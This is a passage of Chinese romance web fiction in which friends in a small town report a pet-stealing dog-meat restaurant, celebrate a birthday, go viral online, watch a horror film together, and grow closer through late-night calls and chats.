江时雨：“这一家子餐饮意识单薄，或者根本不怕事，不担心有天监管部门会查到自己头上。”
小娜也跟上：“还有一点，连牌匾都没有，桌子也是新的，这家店绝对没开多久！”
几人你一言我一语，福尔摩斯般在车上小声解着密。
隧道呼呼响，外面是无际的黑夜，等驶出，经过站台白得刺眼。
不久后，放眼望，街道亮着黄晕晕温暖的光，偶有车辆驶过，小区楼宇只留了几盏余灯，不知是谁家熬着夜。
夜里城市普遍入睡，只有他们，还和那些灯一样。
亮着，闪着，不眠着。
小娜问：“那胡记偷盗宠物狗呢？”
周泽树微拧眉，不适地歪了歪脖子，随后给他们解释。
“很明显，你们有注意到跑出来那只拉布拉多吗？它胸前挂得有牌，银色的。”
但是时间太短，猛然窜出来这一幕所有人都懵了，随后反应过来被恼怒冲昏了头。
“原来是这样，多亏了你提前报警。”徐漾将自己脖子上圈的U型枕递他。
“这个给你。”
大家都太疲惫，灯光虚白，加上注意力被吸引，徐漾坐在对面，第一个察觉到他脸色好像不太对劲。
周泽树笑了下，先起身：“不用，我去趟洗手间等会儿回来。”
“好。”张超没做多想，腿让开，方便周泽树过去，继续讨论起这件事，分析这则案子应该怎么判。
目前市场上依旧有狗肉馆存在，警局也奈何不了，所有受伤害的狗狗，这是令人心痛的事实。
但这家人没有营业证件经营，加上短短一个月已经构成了损害他人大量财产。
法律绝不会袖手旁观。
这一天太不寻常了。
江时雨仰靠在座椅上：“最后一个行程，我们改到明天晚上吧，好累哦，精力耗完了。”
现在确实太晚了。
今天情绪跟过山车似的，深更半夜去看恐怖片，再一刺激，得玩命。
四人平静下来，怏怏的，打着哈欠，一致点头同意。
“想起来个事。”徐漾忽然坐正动了动，从包里摸出来盒提拉米苏。
“现在应该还没过零点，时雨姐你先将就着吹个蜡烛。”
张超和小娜也坐起来：“对，赶紧的，还能赶上。”
徐漾不知从哪里顺来的一根小彩棒蜡烛插在撕开的小蛋糕上。
等了等，周泽树还没回来，时间马上要到了。
蜡烛微弱的光倒影车窗上，像阳光一样温暖。
江时雨感动地看了看大家，这是最特别，最珍贵的生日，她许了个今天属于他们共同的愿望———
希望世界上所有小猫小狗都能被温柔以待。
—
周泽树快步走进厕所锁了门，再难以憋住，低头哗啦吐了出来，撑住墙壁的手止不住颤动，浑身没有一点力气。
眼眶里逼出生理眼泪，胃里不断痉挛翻涌。
浑身都在颤抖，脑子里就像有股电流一样嗡嗡作响，小飞虫在眼前不断扑腾着翅膀。
黑暗像潮水般席卷而来，胸膛极速地一起一伏。
他痛苦地闭上眼。
良久良久。
那种感觉慢慢退却，慢慢回归原位，周泽树强忍住头晕，起身按了抽水，扭门出去。
打开水龙头，漱口，冲脸。
一隅里，男人两只手臂撑在洗手台上，脑袋低悬着。
没有了力气，整个人都很轻。
世界好像将他隔绝，关在黑暗的玻璃房里，那么远。
没关紧的龙头滴答滴答。
伴随着心率。
在寂静的车厢里，声音被无限放大。
许久。
他伸手拧紧，慢慢抬起头来，镜子里的人已经调整到原样。
又是一场折磨的结束。
转身，可没想到几步远的转弯出口正站着熟人。
“上厕所？”周泽树神色寻常，笑了笑。
“没……我来洗个手！”徐漾立刻说。
她又道：“我们刚刚切了提拉米苏，给你留了一块。”
“好，谢谢。”
彼此都无话。
周泽树擦过她，先走了。
独留下徐漾一个人呆滞在原地。
……
云溪很快就到了，夜里的空气清凉而湿润，短暂的出逃告一段落。
江时雨和小娜家在同一个位置，张超比她们远，恰好也在同一条路上，来时都骑了车，正好可以护送她们安全回去。
“那周哥我们先走了。”
“嗯。”
分完组，互相道别后，只留下他们两人。
现在这个点，基本没什么车辆，也很难打到。
那个她戴过的头盔于是又落回她头上。
她懊恼，忐忑，后悔，不该在那个时间出现，她好像撞破了什么秘密。
但这个秘密究竟是什么不得而知。
想知道又不敢知道。
心从来没这么慌过，是一种前所未有的恐惧。
男人宽阔的肩膀将外套撑得笔挺有型，她盯着他的后背，脖颈那一片肌肤，那么近，她甚至能看清被路灯映照后上面柔软几乎透明的绒毛。
他又变回那个熟悉的人。
或许只是幻觉。
走神之际，还是周泽树先开口：“困了？”
“……哦，对，有点。”
她打了个哈欠，声音含糊着：“就是有点累了。”
“马上就到，要是实在困靠我背上先眯会儿。”
他说这么一句，语气完全不掺半点孟浪，给人不尊重和不适感。
徐漾先前两只手只是微扯着他的衣摆，过了半晌，像是真的困到受不了了，头一歪偏倒在他背上，两只手将他腰半环住。
那刻，感觉到他僵了一秒，她呼吸都轻了。
不敢发出一点声音，唯恐会判违规。
山呼海啸都藏在心底。
风轻轻地吹。
夜里安宁又静谧。
……
这一路，时间好像飞快，眨眼就到了。
徐漾感觉到车停下，揉了揉眼睛，假装很自然地下车。
她没上去，他也没走。
两人面对着面。
眨眼而过的时间，仿佛被无限拉长。
她看到他眼睛里有路灯还有她的身影。
那她现在一定也是。
心尖有只蚂蚁，从这头走到那头。
越走越快，越走越急。
她快要窒息了，却依旧不愿服输。
周泽树指尖轻点着车头，忽开口：“聊聊。”
聊什么？
怎么办？
该怎么办解释？
周泽树蹙着眉，一改往常，是很严肃的样子。
徐漾紧捏着包链，路灯下，紧绷到有根无形的丝线，被蚂蚁牵扯着，牵扯着，稍不留神，就将心脏一圈圈绕住，扼住了呼吸。
夜里夹杂着淡淡的花香，风一吹，地上花瓣跑来她脚边。
徐漾很轻松地说：“好啊。”
“今天为什么要擅自行动，一伙人都在，你逞什么能？”
“啊？”
“啊什么啊，问你话呢。”周泽树越想越气，伸手，将她拉到跟前。
他另一只手还揣在兜里，微弓了些背，和她平视。
徐漾脑子懵了，近距离靠近，不免慌神，心跳到快漏出来。
“狗肉馆的事儿，你跑什么跑，一个人就追，大晚上黑灯瞎火的，这边你熟悉吗你就冲？姑娘家家的，那巷道子都是什么人？你进去又准
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备跟老板怎么说？弱得风一吹就折了，那俩男人，能干出违法不道德的事，你跟他们讲理讲不讲得通？要是我们不来，你有没有想过什么后果？”
一连串问题滚豆子似的严肃砸下来。
徐漾低下头，没说话了。
周泽树面色动了动，直起身。
后知后觉这话对女孩说得有点重了，生怕一抬头人就哭了。
但没办法，他就是气啊，要是在平州出点事怎么办？
黑灯瞎火的，当时她跑进去他要吓死。
这姑娘胆真大。
可不想，她突然一跺脚，威风凛凛地跟炸毛猫似地瞪他。
“你说谁弱？”
“可不是你。”
她抱手站在原地，趾高气昂地气呼呼抬脸看他。
“干嘛？”周泽树莫名。
“我就站在这，你看看风吹不吹得倒我！”
瞧不起谁。
哼。
多过分啊。
她好歹也是搬过一桶15L水爬六楼，出门从没让人抬过行李箱，小学掰手腕大赛打遍无敌手。
好吧，初中就没赢过了，但也很厉害的好吧。
徐漾就站在那，势必要给他展示一番。
周泽树扬扬眉。
笑了。
“……你是不是不信？”
“……”
良久无语。
“好，我信。”
“你信什么？”徐漾暗示。
“信你风吹不倒。”周泽树哼笑，语调拉得老长，悠悠散在风里。
就她那个不服输的劲儿，怕真要拉着他站到明天早上。
还睡不睡了？
他伸手一记叩她头上，不重的：“下次别英雄主义，不是不让你出手帮忙，但要先清楚情况，意气用事解决不了问题，能报警就报警，来不及报警就喊人，懂不懂？”
徐漾捂着脑袋，不服气。
他啧了一声。
她赶紧：“好好好，我知道了。”
怎么听起来那么敷衍。
“真知道还是假知道？”周泽树很看重这事，不是跟她开玩笑的。
徐漾这次也笃定：“我知道了，下次绝对不莽撞。”
周泽树看她一眼，信了。
“成，上去睡觉吧。”
他跨上车，拧把手准备掉头走，徐漾忽几步上来握住车头镜。
“怎么，还有事？”
她抿了抿唇，抬头望住他的眼睛，又叫他名字了。
“周泽树。”
“嗯。”
“你今天开心吗？”
他被她认真郑重的神情弄得一怔，好像看到里面的星星，透亮的。
顿了顿，抽离思绪出来，语塞道。
“……我又不是今天的主角。”
“但我就是问你呀！”徐漾说，“我问你你今天开不开心？”
这是从小到大第一次有人问他是否开心，从来都是他本能地关心别人，关心别人好不好。
似乎问开不开心，要不要做，想不想要，诸如此类的问题，小孩子时期就经常拥有的，可他没有，一点都没有。
他不置气，努力把整个家撑起来，让老太太能少辛苦点，后来撑起来了，也懒得在乎自己感受了。
在云溪，张超，时雨，一些年轻孩子们，他们都叫他老板，周哥，他似乎也习惯了，担任起“老大”的身份，有什么问题出头解决。
表面上给他们讲积极的大道理，好好生活，好好工作，实际都是虚表一套，轮到他自己身上丧的要命，偏偏还要假装能做得很好。
很长一段时间，风景在他眼里根本不存在，明媚的阳光，绚烂的海棠，都失了色彩。
但好像有点不一样了。
“如果我说不开心，你能替我解决？”
小屁孩。
“当然，你想要什么我都可以尽全力帮你找出来。”
周泽树随意说了句玩笑话：“如果我讨厌地球呢？”
徐漾沉默一瞬，似乎这个问题很难办，但也只是难办，她点着下巴，微拧眉，不知道是不是故意配合他，眼睛一闪。
“有了！如果地球欺负你，我就带你踹了地球，逃到月球上去。”
18. chapter 18
视频不知被谁发在网上，一群好似重现在青春里的俊男靓女，真的火了。
张超转发到群里，啊啊啊啊大声尖叫。
小娜也是跟在下面啊啊啊啊啊。
一连平静的江时雨也走了阵式。
徐漾不掉队，看都还没看：[啊啊啊啊啊]
四人你一条我一条，叫了一整屏，消息大早上就开始噔噔响。
周泽树：[……]
张超：[我靠！我们太牛了，一个晚上加一个半天，这就火了？？点赞转发力度够大的，完了完了，我现在是不是应该有点包袱了。”
江时雨：[你加油哦（比赞）]
张超：[OK啦，现在就努力起。]
小娜：[哈哈哈哈哈]，紧跟着发了一个捶地笑捡假牙的表情。
张超：[问号脸jpg.]
徐漾也乐得不行，艾特他：[弟弟你道行太浅了。]
小娜：[出道第一课从学习语境开始，少年，玩泥巴去吧。]
张超重新读了一遍，啪啪敲字：[时雨姐，我恨你]
江时雨:[玩泥巴去吧（玫瑰）]
小娜：[玩泥巴去吧（玫瑰）]
徐漾：[玩泥巴去吧（玫瑰）]
张超气得嗷嗷叫，还是他周哥好，周哥就不会说他，正准备控诉，想要艾特他周哥评评理。
周泽树：[玩泥巴去吧（玫瑰）]
要不要这么过分？！
张超：[我恨你们（大哭）]
徐漾笑疯了。
这则视频因为热血加上氛围感，甚至还引来当地视频官方号和营销号来博主底下评论能不能转发视频，借用素材。
徐漾今天还没上号，发现后台在原视频消息底下有人疯狂艾特，安利自己的小众博主终于被发现，因此，她还添了许多新粉。
张超：[小徐姐你大火了，底下好多推销你的，还有问咱们几个有没有号的。]
这样一提，都没发现。
小娜惊叹:[我去，原来红人就在身边，深藏不露啊。]
徐漾：[我就玩玩，其实也还好啦。]怪不好意思的。
视频火了，她也高兴，评论还挺多的，热评一二在激烈讨论拉小提琴，底下不断跟贴。
[求问拉小提琴的男人谁认识啊，好帅，妈耶，这简直是我理想型后男友好不好！！]
[呜呜呜谁懂，小提琴那位闭眼睁开的那一桢，情绪转换绝了，好优雅好高贵又带着点随性和自若，我疯狂心动（爱心）（爱心）（爱心）]
[回一楼：我懂我懂，那慵懒又运筹帷幄的劲儿，尤其是后半段起琴，我真看了无数遍（流泪）]
[我人没了。]
……
徐漾饶有兴趣翻看点着赞，还把能看到夸他们的评论挨个点了，停在一张照片上，是视频截图。
夕阳西下，斜来橙黄的阳光落在周泽树脸上，他站在街头夹琴微垂着眼，自有一股演奏者的神韵，风拨动额间碎发，淡黄色的光芒笼罩着他，莫名有一种电影镜头的感觉。
她咬着关节，一时有些失神，等思绪回来，心慌赶忙收回指尖。
晚了，已经显示长按。
屏幕出现保存还是转发。
鬼使神差下，她点了保存。
这一楼变成了跟图贴。
热度更高的在下一张——
那是演奏结束的时候。
五人肉眼可见的喜悦，意气风发般鲜活热闹的场景，她喘气大笑着扬手比赞。
徐漾心脏迟来得漏了半拍。
拿提琴的人为什么看得是她的方向？
—
春日阳光格外明媚，叶子抽条发绿，一天更甚一天。
周泽树伸了个懒腰，摘下口罩，断断续续一个月下来终于完工了。
张超在楼下一旁做讲解，在招待客人。
看样子应该是来玩的游客，七饼热情发挥魅力仰着个笑脸蹭来蹭去，同伴蹲下陪它玩儿。
“这只小狗好可爱，毛发灿灿的养的真好，叫什么名字？”
张超骄傲：“七饼，它可是我们这条街的宝呢。”
“这么受欢迎，名字也好可爱啊。”
小狗像是听懂了，哈着舌头，脑袋疯狂贴贴美女姐姐的手。
周泽树台阶下去，楼下客人听到脚步下意识抬头。
两姑娘一下通过气质打扮便知道这位准是店里的神秘老板。
张超叫了声周哥，继续给边上女生取想要的款式。
周泽树朝两位客人颔首，算作打过招呼，去吧台倒了杯水喝，有点事准备等会儿出门一趟。
短发姑娘悄悄扯了扯同伴袖子，挤了挤眼。
直接大胆搭讪：“老板，你这的款式都好漂亮。”
周泽树偏头，礼貌笑笑：“谢谢，喜欢可以随意挑。”
“我在网上刷到过里屿工作室的作品，来玩顺便过来瞧瞧，是不是还可以定制？”
两人之前刷云溪攻略听说这边有家绒花工作室在网上很火，与各大时尚品牌和影视公司合作过，最神秘的属这家店老板，一般去不常见到，听见过的说，人长的特帅。
结果今天这么好运，第一次来就遇到了。
同行的另一位姑娘比较腼腆，注意力早不在簪子上，心惊肉跳般佩服朋友胆子大。
张超听不出来话里头有话：“可以呀，不过时间有点长，要等前面排的单子都结束，可能要来年了，如果需要的话，可以先登记。”
“没关系，不着急的，是不是要先加个微信啊？”
要交流想法，肯定要后期沟通。
哪想周泽树抬了抬下巴，淡笑：“工作室微信，有需要可以直接扫。”
忘记这出了。
短发姑娘憋招还想问。
却这时，玻璃门被推开。
徐漾拎着大包小包东西。
进来直接张手喊：“朋友们我来啦！”说完，脸上的笑容微顿，没想这么多人，脸上刷地通红，尴尬道，“今天有客啊。”
周泽树唇间溢出丝笑：“提得什么？”
“不是要去看电影嘛，我买了好多饮料还有零食，可以一起吃，什么薯片啊，话梅，小饼干，牛肉干……”她噼里啪啦报了一堆，翻出来挨个展示。
还没说完，忘记了店里有客，赶紧打住，朝两女孩赔不是：“不好意思不好意思，忘记了，你们继续。”
刚还要开口的短发妹子本还想问周泽树工作室微信是不是经他手管。
朝两人身上来回打转，要说的话吞了回去。
等人走了，徐漾才放肆开了包饼干，张超要吃薯片，丢了包给他，又回头问：“周泽树，你吃那样？”
“不用。”
“那好吧，晚上我拎时雨姐哪去。”
张超忍不住讨论视频的事：“我朋友转给我，没想到咱们几个这么帅的，我妈上班刷到了，认出他儿子可高兴了。”
“咱们本来就帅好不好？”
“就是就是！”
两人坐下边吃零食边聊得热火。
小孩一样。
周泽树无奈笑了笑，交代说：“你们先在店里待会儿，孙爷爷家水管突然坏了，我去帮他看看，要是还没回来，晚上你们就自己先过去。”
徐漾好奇：“三号路牌友团那个孙爷爷？”
周泽树挑挑眉。
他倒忘了这回事，这姑娘来第二天，就打入那帮大爷，群里天天噔噔响，她甚至分享链接还带起联机飞行棋。
怎么说来着？
哦，“孙爷爷王爷爷赵爷爷，各群友们，雨天就甭出门了，足不出户就能玩，保证脑力一局赛一局高，现在就兴这个。”
姑娘可会忽悠了，游戏有精力设置，既打发了无聊时间，又防止下雨天乱跑，出现什么危险。
徐漾：“不是？”
“就牌友群那位。”周泽树笑。
—
六点天将将黑，小院一片热闹。
江时雨提前洗好了菜，徐漾帮忙收拾桌面，张超和小娜摆碗筷，
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饮料，一切准备就绪。
选来选去不知道看什么电影，还好小娜是资深恐怖电影迷，交由她迅速敲定。
小娜：“大家应该都经吓吧。”
江时雨：“这个很恐怖吗？”
小娜卖关子，摇了摇食指：“一般般哦。”
张超无所谓：“咱们一群人有什么好怕的，虽然我平时不怎么看……但，根本不怕的好吧。”
徐漾轻轻吞咽，其实她没说在这方面她胆巨小。
江时雨计划表里看恐怖电影这项，她想着，是最好完成一项，而且一群人一起，加上火锅氛围这么热闹，应该没什么事吧。
“徐漾呢，行不行？”
“当然可以，我最爱这类电影了！”
“OK。”小娜提前将投影仪连好，“现在就只差一个人，等等周哥。”
“我发消息问了，周哥让我们先煮上，他换件衣服就过来。”张超看了下手机，“现在应该要到了，我们再等等。”
话没说没多久，外面传来一阵车声。
周泽树开栏栅门进来，张超抬眼看见了，兴奋挥手：“周哥快来。”
这下都到齐了。
小院冒着热腾腾的香气。
周泽树拉了张椅子就近位置坐下：“不是说先吃吗，别等我了，开始吧。”
江时雨作为主人招呼起来：“没事呀，现在好了，大家都到齐可以下菜了，想吃什么就下，我买了很多，千万别客气。”
夜里空气舒沁，灯光黄晕晕的，院子里绿植笼在暖黄的光里。
电影开场前几人你一句我一句热闹聊起天，在这种场合下，不由给人一种温暖的感觉。
徐漾微微偏过身子，冲周泽树极小声说。
“我刚刚悄悄搜了，这电影挺吓人的，你平时有看这类电影么？”
“你害怕？”周泽树有些好笑。
“不是啊，我这不是了解了解队员情况嘛，眼睛都不眨得好吧。”
说完，立马坐正，淡定伸筷子夹了块毛肚。
电影开场了。
诡异的开场音响起。
几人端坐着，时不时三五秒时间低头加菜，肉眼可见的神色紧张。
恰一抬头，瞥到大家一致的动作。
不知怎的，气氛顿时散了，哈哈笑。
不过这片子着实普通，熟悉节奏后，一般的样子，也就只会来点恐怖音乐，门咯吱咯吱响，每当以为会有什么东西出来的时候，都是同伴，什么都没有。
唯一有点份量就那人偶娃娃，瘆人的慌。
张超：“不过如此嘛，我觉得这部还行。”
小娜拖凳子挨着江时雨：“等会你就知道厉害了，你有本事盯着那娃娃看，千万别挪眼。”
张超咽了下嗓子，抬头，恰好影片里的男人打开柜子，冷风疯狂敲打着窗帘，人偶娃娃猝不其防跳出来。
突然的特写加音乐，就好像跟外面观众直接来了个贴脸杀。
人偶娃娃卡白的脸，圆溜溜瘆人的眼睛，明明表情没什么问题。
可下一秒，嘴角却突然有点上扬，阴森森惊喜笑着，好像在说，“你终于找到我啦，我要和你玩啦。”
“我靠！！”张超大声尖叫，于此同时，电影里见到娃娃的男人，也同样张嘴惊声尖叫，下一秒他的舌头就没了。
徐漾吓得一激灵，筷子都抖掉了，她最怕的就是关于娃娃类的恐怖影片，初中的时候看过一个类似题材的，从此再也不买娃娃了。
她扫了一眼对面，什么情况？
原本不敢看提出要挑战的江时雨现在看得津津有味。
张超叫得跟鬼打墙似的，早顾不得舌头会不会被拔。
而旁边周泽树，他边看边甚至悠闲捞着锅里青菜。
对上徐漾眼神，顿了顿，以为她要，把刚夹起来青菜放她碗里，又捞了块她爱的毛肚。
却见她神情不对。
歪过脑袋，用只有两个人才能听到的声音，重复她的话。
“眼睛都不带眨的？”
19. chapter 19
胆小的人真的不要轻易尝试。
恐怖电影最终都脱不开人性，但一场下来两人表情都木了。
虽然徐漾表面维持还算平静。
相反，张超直愣愣地傻坐在原地，一动不动。
小娜爆笑着在他面前挥手：“不会吧，你不会被上身了吧哈哈哈哈。”
“我！……我以后再也不想看了。”张超已经怼不出音，哑着嗓子苦兮兮地说。
桌面上又是一阵哄笑。
“周哥我一会儿能跟你一起走么？”
“路都不一样，你还是自己回吧。”周泽树也跟着笑，手上动作不停，自然地开了瓶牛奶，放在右手边。
徐漾摇了摇脑袋，恢复过来，拿起来猛吸了口压压惊。
江时雨注意到她脸色：“小漾还好吗？”
一桌不由分说齐刷刷眼神移过来。
小娜：“你不会也……”
“没有。”她嘴硬道，“太闷了我呼呼气。”说着，连忙扯了扯衣领扇风，深呼吸。
小娜跟江时雨默契对视一眼，也不拆穿：“哎今晚是有点闷。”
“我也觉得。”江时雨又问，“周老板呢？”
“可不是。”
深夜回去的第一件事，搜刮到屋里的娃娃，不论可爱的还是什么样子，统统关进柜子里。
想到打开柜子它们突然浮现的笑脸，又全部抱出来，隔这也不是，那也不是，最终全部堆沙发上。
求求，她胆小，千万不要吓她。
为了给自己壮胆，徐漾还给自己放了一首国歌外加跳了部中少儿体操。
嗬。
下一秒。
拖鞋一飞迅速扎进被子。
不知是不是因为晚上摄入碳水过多的原因，徐漾在床上摊煎饼似的睡不着。
房间开了一盏小夜灯，暖黄色的光，本来挺温馨美好，可侧身看到风从白天没关紧的窗户里溜进来，窗帘吹得飘飘的。
瞬间翻身，拉被子把头一蒙。
她原本以为自己很行，结果发现原来是菜到不行。
大半夜还把自己闷了一头汗，就是不敢露出头。
摸到手机，将将凌晨一点，一分不多一分不少。
睡不着。
一点困意都没有。
徐漾不知道为什么下意识点开了某个人微信，又是不知道当下是哪根筋抽了，弹了个小懒探头的表情包出去。
意识到做了什么之后，连她自己都免不了一惊。
心猛然慌乱，像做了错事。
忐忑，羞愧，内疚，紧张，还夹杂着一股名叫期待的情绪，这些不同颜色的东西揉在一起，升温，发酵，忽然让此刻的她有些窘迫了。
三十秒。
一分钟。
一分钟半。
两分钟。
没有回复。
人家现在肯定已经睡着了，或许正因为睡着了，她才能敢肆无忌惮地找他。
等第二天起来，就说自己手滑。
多么简单的事。
对，就这样。
徐漾丢下手机，重重平躺回来。
已经熟到这种程度了吗？她扪心自问，大半夜给一个男人发消息的程度。
有没有可能你单方面的熟，无形中给对方造成不可言说的困扰。
徐漾来不及胡思乱想，因为下一秒。
一通语音进来了。
她不可置信地盯着手机屏幕，悬在上面的手指也跟着止不住颤抖起来，咬了下唇，抑制住慌乱点了下去，心砰砰狂跳。
周泽树的声音先进来。
“我以为你又睡了。”
“哪里，我刚去卫生间没听到。”
“哦。”他沉吟片刻，像是故意的，“我以为今晚你都不敢去了。”
“我没这么弱好不好。”徐漾忍不住反呛，又不自觉声音低下去。
可不是吗。
她因为晚上看的那部电影吓得睡不着觉。
太弱了。
“我是不是把你吵醒了？”
周泽树说：“没。”
她声音大了点：“那你又失眠了？”
周泽树扬扬眉梢：“怎么个又法？”
“我不是之前听你说你晚上经常睡不好吗。”徐漾扣着床单上的白色方格。
一阵沉默。
“还好，最近好多了。”
“哦，好多了就行。”她翻了个身。希望你好。
周泽树听到被单和身体轻微的摩擦声。夜色寂静，月亮悬在顶空，整个世界铺了层银纱。
他又问：“睡不着了？”
“嗯，你不觉得今晚电影有点吓人，我回来就把公仔全收了。”
她这才发现话说漏了，眼睛大睁，话收不回来了，听到那头短暂的轻笑，干脆破罐子破摔，伸胳膊蹬腿的。
“真的很吓人啊，我以为我承受能力还挺好，结果想多了，你就没有一点反应？”
“什么反应？安慰你说没事，都是假的？”
“看电影的反应呀，如果是这种……也行。”脸微微红了。
“那要不要连线再看一部？”
徐漾以为自己听错，惊呆了：“还要看啊？”
周泽树不以为然：“看一部别的，不是睡不着吗？”
徐漾说：“你明早上不去里屿了？”心里却忽然生起小雀跃，好似真的吃了云彩面包，手一划，飞往空上，飘飘然的。
注意力被转走，连之前的恐惧都忘了。
周泽树玩笑：“没办法，老板有时候也想偷懒。”
徐漾没忍住噗嗤乐出来，顿时眉开眼笑：“好，那就看！”
两人一致随缘，随机选了一部动漫——《机器人总动员》。
这个电影徐漾很喜欢，复刷了好几遍，不管看多少遍都会喜欢的程度。
“我特别爱这个电影，要是有什么不开心的事，难过了，或者无聊想打发时间偶尔就会找出来刷一遍。”
周泽树听着，而后问：“经常遇见不顺心的事？”
“也还好。”
徐漾将背后的枕头调高了点，重新靠上去，还是第一次跟其他人讲起那些事，连闺蜜都没讲，老徐苏老师更不用说了。
在外打拼，谁不是报喜不报忧呢？
但憋久了，就郁了股气，无处排解，找到个机会，自要好好说一番。
“我上任工作很忙，不过我还挺喜欢的，所以不管怎么折腾，我都觉得还好，真挺好的，但成年人的世界好像一点都不容易，跟我毕业前想的完全不一样，我的想法其实很简单，好好工作，好好生活。”
“不过我运气挺差的，一些离谱的事总发生在我身上，总让我看见，然后倒霉的就是我。”
徐漾叹了口气，想到在看电影，不想破坏气氛，避重就轻道：“唉算了算了不提了，都是些过去的事了。”
她求表扬似地补充：“噢，但这里必须要说一点，我辞职的那天，跟领导大吵了一架，终于不用再憋着生闷
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气了，当时走到时候还摔了他一个玻璃杯，可解气了！！”
骄傲的像在外受了委屈，反抗，找长辈哭诉的孩子。
“你没错，做得挺好。”
“我也觉得。”
周泽树心想，究竟是多少事堆积到一起，才能把一个好脾气的姑娘给逼成这样。
他没多问，不消多时，播到清洁机器人绝望又执着地给瓦力打扫污渍，瓦力蠢萌蠢萌的一脚贴在机器人脸上，徐漾哈哈大笑了起来。
两人时不时看着又交流几句，时间就这样过去了。
一部电影缓解了另一部电影带来的恐惧。
就这样奇迹般的一身轻松了，有些感动，又觉得一股暖流涌进心里温温的。
她想之后一定会睡得很安心，如果可以要做一场美梦啊，因为瓦力和伊娃两家伙实在太可爱了。
就这样渐渐意识越来越淡。
在快要阖上眼皮时，徐漾最后朦朦胧胧道了一句：“晚安。”
滑进被子里。
周泽树听着那边轻缓的呼吸声，不由失笑，即使对方已经听不见了，也轻轻说了声晚安，又补了句。
“做个好梦。”
夜晚过去了一半，黑夜好像也不是那么孤独了。
星星那么明亮，明天应该是个好天气吧。
一定会的。
—
阳光从窗帘缝里透进来，落在地上，被子上，成了亮闪闪的碎片。
周泽树在生物钟催促下醒来，这几个小时竟睡的无比踏实。
回想起昨晚的事，因为睡眠质量不好，他睡觉前有手机静音的习惯。
不知怎么了，想到了回来的路上，徐漾强装镇定紧绷着背走路的样子。摸到手机，想了想，将声音打开，放到床头。
这半月，他失眠的次数越来越少了，手机震动响时，他下意识皱了皱眉。
晚上忘关了，究竟谁这么晚扰人，猛然意识回醒，脑子里只蹦出一种可能性。
屏幕光刺得他半眯起眼，果然是她没错。
晚上一点多了。
吓得睡不着？
怕让对方感到自责，他缓了缓声音，让听起来没有那么沙哑，佯装成还没睡，恰好收到消息的假象。
周泽树做过两件出格的事，不知道是不是受身边人影响，他也开始想一出是一出了。
凌晨四点半去遥街大道追海棠，包括现在——
凌晨一点三十二分，和屏幕那方联线看第二部电影。
而这些事，都是和同一个人。
想想这个月做过这样的事还少吗？
一天之内，搭车逃亡，组队化妆，傍晚演出，即使这支乐队成立时间，不足十二小时。
深夜去狗肉馆救狗……
太多太多匪夷所思的事，快乐的事，刺激的事。
他好像不知不觉被影响着，改变着。
被她身上神秘的磁场感染着，这些如流水般潺潺无形，因此他并不知道。
巧合的是，他也很喜欢这部电影。
听她自然而然说起自己工作上的事，周泽树早早经历过社会，不由想这个天天一副乐嘻嘻的姑娘，当时该有多委屈。
但紧接着，他听到那边爽朗的笑。
心便安下来了。
神奇的自愈能力。
周泽树起身拉开窗帘，推开玻璃，清风扑面而来，人间四月，天空蔚蓝，鸟鸣清脆，小橘猫趴在喇叭花旁晒太阳。
这晴朗的春日。
20. chapter 20
接下来一周，徐漾将想去的地方去了个遍。
半个月时间，逛逛躺躺，云溪算玩差不多了。
闲着无事，早上去荷奶奶早餐店吃汤包，有时候顺带去里屿，赵爷爷组织打牌，也去玩几局。
生活过得好不惬意。
有天，看到茉莉花开了，徐漾找了个好玩的，跑到里屿，店里就只有七饼和张超。
工作室有笔合作生意，周泽树江州出差去了。
没过一会儿江时雨店里空闲，提了一大袋樱桃过来。
几人边吃边聊。
徐漾趁机讲起自己主意，她打算周五晚上去夜市摆摊，卖茉莉花。
“怎么卖？”江时雨吃了颗樱桃，建议说，“要不要进点别的，不同的种类更好卖，夜市卖花的不少。”
“No。”徐漾眯眼，摇着手指，“咱这次卖手串。”
“这我知道！”
张超抢着发言：“前段时间很火的茉莉花手串是不是？我刷到过视频，我们这边也有卖的。”
江时雨同样知道：“对啊，我们这也有，已经不新鲜了。”
“谁说我们要跟她们比的。”徐漾双手一摊，神秘兮兮笑，一副“就等着瞧吧”表情。
“我可没说要比哦，主打一个体验嘛。”
江时雨：“我可以帮你串，我来我来。”
张超反正周五晚上也没安排：“我也可以，不过我手工不行，但我可以帮忙卖，要不要叫上小欣，给她发个消息？”
江时雨说：“小欣出门旅游了，不在家。”
“好吧，这一次少两个人。”张超薅着狗头，无声叹气。
徐漾想到这也有点沮丧。
要是大家都在就好了。
“哎呀，没关系的，他们不在，我们照常可以玩嘛。”徐漾郑重地拍了拍两人肩，将气氛带起来，士气可不能倒了。
“玩？”张超诧异。
怎么个玩法？
不是卖茉莉花吗？
江时雨望过来。不过，她倒没那么强反应，总之很心动，想看看那天究竟要搞些什么，对徐漾更是一百个放心。
一切都在有序进行。
但要是人齐就好。
四月到了樱桃成熟的季节，客栈小姐姐给每户送了一盒，红艳艳清甜又多汁，前几天去早餐店里，荷奶奶还送了自制的樱桃罐头。
原本在这边预计时间只待一个月，眼看半个月时间就这么过去了。
这些日子，每天都过得充足，即使什么也没做，躺在小院睡袋里晒太阳，窝在沙发里看书，还是出门看山川湖泊，逛街压马路，再或者陪七饼玩飞盘，都过得无比满足。
满足到一想到半个月之后，就有些酸酸的，那天一定会很难过。
不过，这种想法不会占用太久，因为有意思的事情实在太多了。
徐漾：[dd]
很默契的，这会儿周泽树在线。
徐漾立马弹起来：[今日任务已完成，请老板验收]
附加一张抓拍照片。
小狗四脚朝天，扭成一道彩虹，肉眼可见的开心，一只脚脚还正对着嘴边，上面P了几个字。
“人类你也想听本汪一展歌喉吗╰(*?︶`*)╯”
周泽树等啊等。
手机很快叮了一声。
紧接着。
七饼躺地上抱着短短的前爪，表情相当陶醉，还真像KTV麦霸。
“我要跑第一，要开飞机，要电视机～”
小狗掂脚飞天，凶狠张嘴，实际是在抓蛾子。
“要CD机，要mp3，要冰淇淋，要人民币，不要太贪心～”
……
小狗蹦蹦跳跳。
“一百昏一百昏╰（‵□′）╯”
小狗端正吃惊竖耳朵。
“哦！巨星巨星（｀Δ?）！”
周泽树回酒店的路上，噗嗤乐出声，连他自己都不知道七饼什么时候有这么戏精搞笑的表情还有动作了。
甚至还怀疑，这是他的狗吗？
好像看了一部动画似的，成功戳到他笑点上的动画。
徐漾：[不用怀疑，这是七饼本饼。]
周泽树：[看来它跟你玩得不错。]
徐漾：[嘶，何止是不错，那是相当好！]
徐漾：[你要是再不回来，它就要改姓徐了（傲娇）]
她调整了个舒服的角度，窝在懒人沙发里，高高举着手机。
徐漾：[徐饼，怎么听起来那么像雪饼啊，好的，七饼有新名字了。]
